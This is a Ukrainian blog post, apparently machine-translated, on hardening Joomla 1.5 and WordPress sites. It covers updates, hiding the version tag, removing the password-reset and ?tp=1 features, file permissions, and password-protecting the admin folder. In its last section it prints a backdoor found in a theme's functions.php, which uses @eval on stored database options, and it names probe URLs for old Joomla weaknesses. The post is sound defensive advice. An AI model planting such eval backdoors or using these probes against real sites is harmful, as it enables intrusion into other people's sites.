Вивчаємо WordPress

2642
  • Зниження ймовірності злому сайту на Joomla 1.5
  • Інші варіанти захисту
  • Захист адмінки Joomla та WordPress від злому
  • Віруси в WordPress
  • Здрастуйте, шановні читачі блогу . Сьогодні хочу поговорити про безпеку роботи і деякі методи захисту сайту від злому. На жаль, я не є експертом у цій області і мої пізнання мало виходять за рамки статті про перевірку та захист свого сайту від вірусів, але я просто опишу свій недавній досвід. Нічого складно я не використовував, але сподіваюся, що це підвищить безпеку роботи з моїми сайтами.

    Вивчаємо WordPress

    Мова піде про подвійної аутентифікації для входу в адмінпанель движка вашого сайту (повинно працювати на будь-яких CMS, але особисто я перевіряв тільки на WordPress і Joomla). Захист ставиться на рівні сервера, поетом всі спроби підбору пароля до адмінки (брутфорса) не будуть створювати підвищений навантаження на хостинг і обійти її досить складно. Ставиться вона легко (буквально в кілька дій) і з усіх пізнань потребує уважності та вміння отримувати доступ до сайту по ФТП.

    Ну і також наведу кілька дій, які я застосував до сайтів на вже морально застарілих движках Joomla 1.5, які мені немає особливого сенсу переносити на Joomla 3, але які у мене постійно ламають і використовують сервер для розсилки спаму. Описані дії я зробив недавно, тому не можу констатувати факт припинення зараження сайтів вірусами, але на це сподіваюся. Загалом, я спробував трохи підвищити зламостійкі Joomla 1.5.

    Як захистити Joomla 1.5 від злому і проникнення вірусів

    Як я вже згадав вище, проблема полягає в постійних зламах двох моїх сайтів, які працюють під управлінням Joomla 1.5. Можна вважати їх покинутими, бо нові матеріали я на них не додаю, але вони справно приносять дохід (з розміщення статей з Миралинкса і Вебартекса, а також посилань з Гогетлинкса). Загалом, викинути їх шкода, а переводити на нову версію движка «в лом» (шкода витраченого часу і сил).

    Залишається або постійно моніторити навантаження на сервер і при її підвищенні шукати серед файлів движків шели та інших шкідників, або якимось чином посилювати захист. Для пошуку зловредів я викачую файли движка на комп’ютер і перевіряю їх ДокторомВебом і Айболитом. Перший знаходить далеко не всі, а останній бачить ворога занадто часто там, де його немає, але якихось інших ефективних способів я не знаю. Хоча, є ще й онлайн-антивірус VirusTotal перевіряє файли відразу в десятках програм, але це вже кому як зручніше.

    До речі, скрипт Айболить вміє працювати не тільки на сервері, але і прямо на комп’ютері в папці з скачанными файлами движка (штатний антивірус тільки не забудьте відключити при скачуванні сайту, бо він може частину файлів почікать, а на сервері-то вони все одно залишаться).

    Детальна інструкція наведена в розташованому нижче ролику, а якщо говорити коротко, то ви завантажуєте з сайту Майкрософта інтерпретатор мови PHP і встановлюєте його. Після чого файл скрипта Айболита під назвою ai-bolit.php відкриваєте саме з допомогою цього самого інтерпретатора:

    Вивчаємо WordPress«alt=»»>

    Швидкість сканування залежить від швидкодії вашого комп’ютера і кількості файлів в движку вашого сайту. У мене це зайняло кілька годин для https:// бо навіть картинки «Айболить» підозрює в приховуванні вірусів, а цих самих картинок у мене купа, так і файли кеша багато часу забирають при сканування. Для сайтів на Joomla 1.5 перевірка проходила набагато швидше.

    Вирішив витратити день для пошуку шляху підвищення безпеки сайтів. Зробити вдалося зовсім небагато, але все ж краще, ніж нічого. Давайте почнемо з укріплення захисту (зі зниження вразливості) двох сайтів на Joomla 1.5. Було зроблено наступне:

  • Оновив Joomla до останньої версії 1.5.26. Скачав оновлення з цієї сторінки (полторашная версія там представлена в самому низу):

    Вивчаємо WordPressВивчаємо WordPress

    Оновлення відбувається банально просто. Розпаковуєте скачаний архів і всі наявні на ньому папки і файли скопіювати в корінь свого сайту. На питання про заміну вже наявних на сервері файлів відповідаєте «так». Всі.

  • Встановив останній патч (що це?) оновлення безпеки для Joomla 1.5. Ставиться він так само, як оновлення — простим копіюванням наявних в архіві двох папок в корінь вашого сайту по ФТП.
  • В принципі, треба було б ще й всі заявлені на цих сайтах розширення оновити до останньої версії, бо через діри в безпеці теж можуть ламати. Але у мене поки на це ще немає часу, тому я обмежився банальним видаленням JCE, який в старих версіях, апріорі, має вразливості для проникнення і впровадження вірусів.
  • Далі я пішов раді «з інтернету» і прибрав в одному з файлів Joomla 1.5 директиву виведення версії движка, на якому працює сайт. «Знавці» стверджують, що цим самим я на дев’яносто відсотків убезпечив себе, бо ламають сайти майже завжди не на замовлення, а за «шаблоном», тобто знаходячи з допомогою банального пошуку в Google або Яндекса (з використанням операторів) вразливі движки або використовуються на них «діряві» розширення. Наприклад, під час перегляду вихідного коду сторінок своїх сайтів на Joomla 1.5 я чітко бачив вказівку движка в метатеге:

    Сховавши цю інформацію від пошукачів, я повинен випасти з потенційних списків на злом чергового початківця хакера.

    Увага! Фронті тим, як приступити до описаних нижче дій, обов’язково збережіть на комп’ютері копії тих файлів, де щось будете міняти (а ще краще скачайте всі файли движка на комп). У будь-якому випадку «я в будиночку», бо попереджав…

    Для цього потрібно підключитися до сайту по ФТП (наприклад, з допомогою Файлзилы, але знову ж таки нагадую, що паролі в ній або якому-небудь іншому клієнта зберігати не можна, бо трояни на вашому комп’ютері знають, як їх звідти витягти) і знайти ось такий загадковий файл:

    /libraries/joomla/document/html/renderer/head.php

    Відкриваєте його і шукайте таку ось рядок (наприклад, внутрішнім пошуком Нотепада++):

    $strHtml .= $tab.’getGenerator().'» />’.$lnEnd;

    І зносити її на фіг, після чого зберігаєте зроблені зміни в файлі і передаєте файл через Файлзилу на сервер вже в зміненому вигляді. Ну, як би і все. Хоча, ні. Якщо ви використовуєте в Джумла кешування, то вказівка версії движка сайту зникне з його сторінок тільки після скидання кешу.

  • Як ще захистити Joomla 1.5 від вірусів і потокових зломів

  • Також «фахівці» запевняють, що сайти на Joomla 1.5 ламають «на раз-два» шляхом використання наявної в движку вбудованої функції відновлення паролів (через неї нібито можна змінити пароль адміна). Навіть якщо ви реєстрацію на своєму сайті не використовуєте і посилання на відновлення ніде не виводьте, то це не значить, що цю уразливість ви прикрили. Просто додайте наступний фрагмент до урлу головної сторінки свого сайту і отримаєте бажану можливість:
    /index.php?option=com_user&view=reset

    Власне, для закриття цієї лазівки (але ось як їй скористатися для злому я так і не зрозумів) можна просто видалити такий ось файлик:

    /components/com_user/models/reset.рһрПравда після цього ніхто з зареєстрованих у вас на сайті користувачів скористатися функцією відновлення паролів не зможе, але для мене це не важливо, бо реєстрації передбачено не було.

  • А ще кажуть, що така корисна шняга, як перегляд позицій для модулів шаблонів Joomla 1.5 з допомогою додавання до адреси сторінки «?tp=1», теж дозволяє письменникам вірусів і мисливці до чужого добра дістатися-таки до якихось чутливих зон вашого сайту внести деструктив, або якось по іншому над ним поглумитися. Штука ця знову ж забирається шляхом редагування одного з файлів движка.
    /libraries/Joomla/application/module/helper.php

    Там потрібно видалити два фрагменти коду, або закоментувати, уклавши їх в /* і */ (цей код не буде виконуватися інтерпретатором мови). Перший такий фрагмент:

    if(count($result) == 0) {
    if(JRequest::getBool(‘tp’)) {
    $result[0] = JModuleHelper::getModule( ‘mod_’.$position );
    $result[0]->title = $position;
    $result[0]->content = $position;
    $result[0]->position = $position;
    }
    }

    А другий такий:

    if(JRequest::getBool(‘tp’)) {
    $attribs[‘style’] .= ‘outline’;
    }

    Власне, після цього скидаєте кеш і намагаєтеся переглянути позиції модулів у вашому шаблоні з допомогою такої конструкції:

    https:///?tp=1

    Якщо не вийшло, то ви цю дірку, будемо сподіватися, закрили.

  • Дуже часто зламують сайти не зовні, а зсередини. Трояни і кейлогены на вашому компі знають, що і де шукати, тому не зберігайте паролі в ФТП клієнтів (є варіант використовувати Кипас для цієї справи).

    Ще крутіше вважається — відключити можливість доступу до вашого сайту по ФТП, а замість цього використовувати SFTP, де передана інформація (в тому числі і паролі) шифрується, що робить марним її перехоплення. Я, якщо чесно, останнім радою нехтую через свою «темности». Ще є варіант налаштування доступу до вашого сайту за звичайним ФТП тільки з певного IP адреси (комп’ютера), але у мого інтернет-провайдера IP динамічний (змінюється в певному діапазоні).

  • Також радять встановити права доступу на файли і папки движка не вище тих, які реально потрібні для його роботи. Насправді, я особливо не думаючи поставив за шаблоном:755 на папки і 644 на файли. Встановлювати права можна за допомогою тієї ж Файлзилы. Причому зазначені права потрібно застосовувати не тільки для каталогів кореневої папки, але і для всіх каталогів і файлів, які лежать всередині них.

    Вивчаємо WordPressВивчаємо WordPress

    На файли в кореневій папці я поставив права 444, а на каталоги tmp і logs — 705. Можна було б, звичайно, і більш жорстко «затиснути», але у мене в цьому немає особливого досвіду, а витрачати час на експерименти було колись. Та й до того ж все це не дуже-то серйозно стримає хакерів, бо існують варіанти зміни прав доступу засобами мови PHP, що всі наші старання може звести нанівець. Для цього використовують такі команди:

    Тому для повного «бетонування» файлів движка Joomla 1.5 від злому і посягань потрібно заборонити на виконання зміну прав доступу до файлів і папок через PHP. Робиться це в налаштуваннях сервера, але я поки що не знаю як і де. Якщо знаєте, то киньте ссилочку.

  • Все вищесказане покликане знизити ймовірність злому вашого сайту і проникнення на нього шелов та інших шкідників. Однак, вжиті заходи не дають гарантії, тому було б чудово на сервері (де живе ваш сайт на Joomla 1.5) заборонити виконання шелов. Це дозволить зняти увесь негатив від просочилася нечесті. Однак, особисто я знову ж таки це ще не здійснив з причин свій «темности». Буду вдячний за посилання на пояснюють цей процес матеріали.
  • Дуже часто ламають сайти, отримавши доступ до адміністративної панелі. Зрозуміло, що вона захищена паролем, тому методом брутфорса (розумного підбору) багато, навіть, здавалося б, складні паролі ламають на раз-два. Тому адмінку теж потрібно захищати, і краще це робити не за допомогою додаткових розширень, а саме засобами сервера. Існує кілька варіантів захисту. Наприклад, можна змінити тим чи іншим чином Урл адреса адмінки, щоб зломщик не міг би почати свою брудну справу.

    Інший метод захисту, який буде в подробицях описано нижче, полягає у створенні додаткової перешкоди на шляху зломщика (живої людини або скрипта). Полягає він у запароливании директорії з файлами адмінки (в Joomla це папка administrator, а в WordPress — wp-admin) засобами веб-сервера. Виходить, що при зверненні до адмінки спочатку потрібно ввести логін і пароль для доступу до папки, а вже потім логін та пароль для доступу, власне, до адмінки движка. Причому, ламаючи перший рубіж оборони методами брутфорса, він не буде створювати скільки-небудь значимої додаткового навантаження на сервер, що є добре.

  • Ще одним дуже важливим, на мій погляд, зауваженням щодо підвищення захищеності ваших сайтів від вломов і зараження вірусами є дотримання правила: одні сайт — одні аккаунт на хостингу. Так, це дорожче, але набагато безпечніше. При розміщення на одному акаунті, відразу всі ваші сайти будуть доступні по ФТП при отриманні доступу зловредів лише до одного з них. Ламають сайти на автоматі, і сподіватися на те, що скрипти не підуть вгору по дереву каталогів, було б не розумно. До того ж, лікувати пачку сайтів на одному акке хостингу дуже важко, бо займаючись одним сайтом ви випускаєте з виду вже вилікуваний, який в цей час заражають.
  • Ламати, до речі, можуть не тільки з вашого сайту, але і з сайту вашого сусіда по хостингу, якщо власники належним чином не подбали про виключення цієї можливості. Можуть зламати і панель хостингу (типу, сипанели), але в будь-якому випадку кількість зламів з вини хостера мізерна в порівнянні з числом зломів у вигляді безпечності власників сайтів.
  • Як захистити адмінку свого сайту від злому?

    Я хочу в деталях розповісти про те методі захисту, який зовсім недавно використовував сам. Полягає він у забороні доступу до папок, де лежать файли адміністративної панелі сайту. Заборона встановлюється з допомогою чудового файлика .htaccess, який, по суті, дозволяє дистанційно керувати налаштуваннями веб-сервера, на якому встановлений ваш сайт. При цьому він вміє робити це вибірково.

    Всі директиви, прописані в .htaccess, будуть поширюватися виключно тільки на той каталог, в межах якого він знаходиться. Хочете щось змінити у налаштуваннях стосовно до всього сайту? Поміщайте тоді .htaccess в кореневу папку. Ну, а нас цікавлять налаштування щодо лише папки з файлами адмінки, тому ми його туди і помістимо. В Joomla це буде папка administrator, в WordPress — wp-admin.

    Однак, одним .htaccess нам не обійтися. Доведеться задіяти ще та .htpasswd, де буде зберігатися логін та пароль для доступу до цієї самої адміністративної папці. Причому пароль буде зберігатися не в відкритому вигляді, а у вигляді MD5 шифру. Відновити по ньому пароль не вийде, але зате при введенні правильної комбінації в полі пароля, веб-сервер вважатиме для цієї комбінації MD5 суму і порівнює з тим, що зберігається .htpasswd. Якщо дані збігаються, то вас пустять в адмінку Joomla або WordPress, а якщо ні, то не пустять.

    Ось і все, залишилося тільки втілити намічене в життя. Треба ж якісь директиви .htaccess додати. Ви знаєте які? Я не знаю. Та й як треба буде пароль перегнати в MD5 послідовність. Проблема. Однак, вона має досить просте вирішення. Добрі люди організували онлайн-сервіс по генерації вмісту файлу .htaccess і файлу .htpasswd на основі придуманих вами логіна і пароля. Правда, доведеться ще й абсолютний шлях до адміністративної папки вказати, але це вже дрібниці.

    Отже, зустрічайте — великий і жахливий генератор захисту для адмінки вашого сайту. Зрозуміло, так? Придумуєте, а краще всього на якому-небудь генератор паролів створюєте дві найскладніших комбінації літер, цифр і знаків, після чого їх вводите в два верхніх поля. Записати їх тільки не забудьте, або менеджер паролів запхати, інакше самі в адмінку увійти не зможете і доведеться все описане в цій частині починати робити заново.

    Ось, теперича абсолютний шлях потрібно ввести до папки administrator або wp-admin. Знаєте такий? Навіть якщо не знаєте, не біда. Підключаєтеся до сайту по ФТП, створюєте в його корені файлик з будь-якою назвою (та хоч з таким url_path.php) і додаєте в нього такий ось простий код:

    Потім заходите в браузер і введіть в адресний рядок ось такий Урл (з вашим доменом, звичайно ж):

    https:///url_path.php

    В результаті побачите той самий, який цікавить вас абсолютний шлях. Вводите його в зазначеному вище генераторі файлів .htaccess і .htpasswd. Не забудьте додати в кінці цього шляху назва папки administrator або wp-admin без слеша на кінці. Все, тепер тиснете на кнопку «Згенерувати»

    Вивчаємо WordPressВивчаємо WordPress

    І по черзі переносите вміст файлів .htaccess і .htpasswd безпосередньо в ці самі файли.

    Вивчаємо WordPressВивчаємо WordPress

    Сподіваюся, що ви їх вже створили в папках administrator або wp-admin (в залежності від використовуваного вами движка)?

    Вивчаємо WordPressВивчаємо WordPress

    Ну, а тепер вже пробуйте зайти в адмінку. З’являється вікно з пропозицією ввести логін і пароль від вашого веб-сервера? В різних браузерах воно малюється по різному, але в Хромі воно виглядає так:

    Вивчаємо WordPressВивчаємо WordPress

    Якщо щось не клеїться, то «паліть» абсолютний шлях до .htpasswd, прописаний у файлі .htaccess. У цьому випадку просто вручну його поправте при редагуванні файлу. Ось і все, що я хотів вам сьогодні розповісти. Якщо хочете посварити або щось додати, то в шлях.

    Вірус в WordPress?

    Вже після написання цієї статті виявив на своєму блозі (https://) шкідників (або щось таке, що встановилося в обхід моєї волі). Я просто хотів що-то там поміняти в коді і заліз у файл footer.php з папки з вашою темою оформлення. У самому її низу, безпосередньо перед тегом Body, мені кинувся в очі виклик якоюсь незнайомою мені функції (гугл по її назві, але нічого путнього не знайшов):

    Назва начебто осудна. Примітно, що за три тижні до цього я випадково виявив, що у мене з’явилася нова таблиця в базах даних двох моїх блогів на WordPress https:// і ще одного). Назва у неї було просто чудове — wp-config. Гугление з цієї назви знову нічого путнього не дало, бо всі відповіді були пов’язані з однойменною файлом wp-config.php.

    Таблиця ця здорово швидко росла в розмірах (до сотні мегабайт на https://) і в неї писалися адреси сторінок мого сайту з різними параметрами. Не зрозумівши суті цього процесу, я просто зніс цю таблицю і все. До речі, у мене є ще один блоґ на WordPress, але там нічого подібного не спостерігалося.

    Ну, а ось тут виявив таку «розмовляючу» вставку в тему. Вирішив зайти в файл functions.php і подивитися, чи не з’явився там чогось співзвучного з описаною вище рядком внизу футера. Виявилося, що додалося. Причому так акуратненько — ні зверху, ні знизу, а другий (чи третій) зверху вбудованою функцією:

    function wp_custom_page_links_return()
    {
    $option = get_option(‘wp_custom_page_links’);
    @eval($option);
    }
    @eval(get_option(‘wp_brlinks’));

    Тут і чудовий «eval» в очі кидається. Що примітно, Айболить (описаний вище) знайшов цей фрагмент підозрілим, але у мене поки ще до нього руки не дійшли, бо цей скрипт дуже багатьох підозрює у неблагонадійності. З приводу цього коду я теж гугл і знайшов пост (на жаль, зараз той домен блокували за неоплату) з описом схожої проблеми. У товариша ця гидота просочилася з новою темою, в яку був зашитий якийсь інсталяційний код.

    У мене ж теми на обох заразилися блогах стоять вже по багато років. Напевно, була якась уразливість в движку або використовується мною плагіні, якій оперативно (потоці) скористалися недоброзичливці. Загалом, перевірте у себе відсутність таких вкраплень. Дата зміни описаних файлів припадала, по-моєму, на середину вересня цього року.

    Раджу так само подивитися підбірку з 17 відеоуроків по забезпеченню безпеки сайтів на Joomla. Вони будуть відтворюватися один за іншим автоматом, а якщо хочете, то можете перемикатися на наступний урок з допомогою відповідної кнопки на панелі плеєра або вибрати потрібний урок з випадаючого меню у верхньому лівому кутку вікна плеєра:

    Видео уроки по Джумла 3Вивчаємо WordPress

    Приємного перегляду!

    Вивчаємо WordPress«alt=»»>

    Удачі вам! До зустрічей на сторінках блогу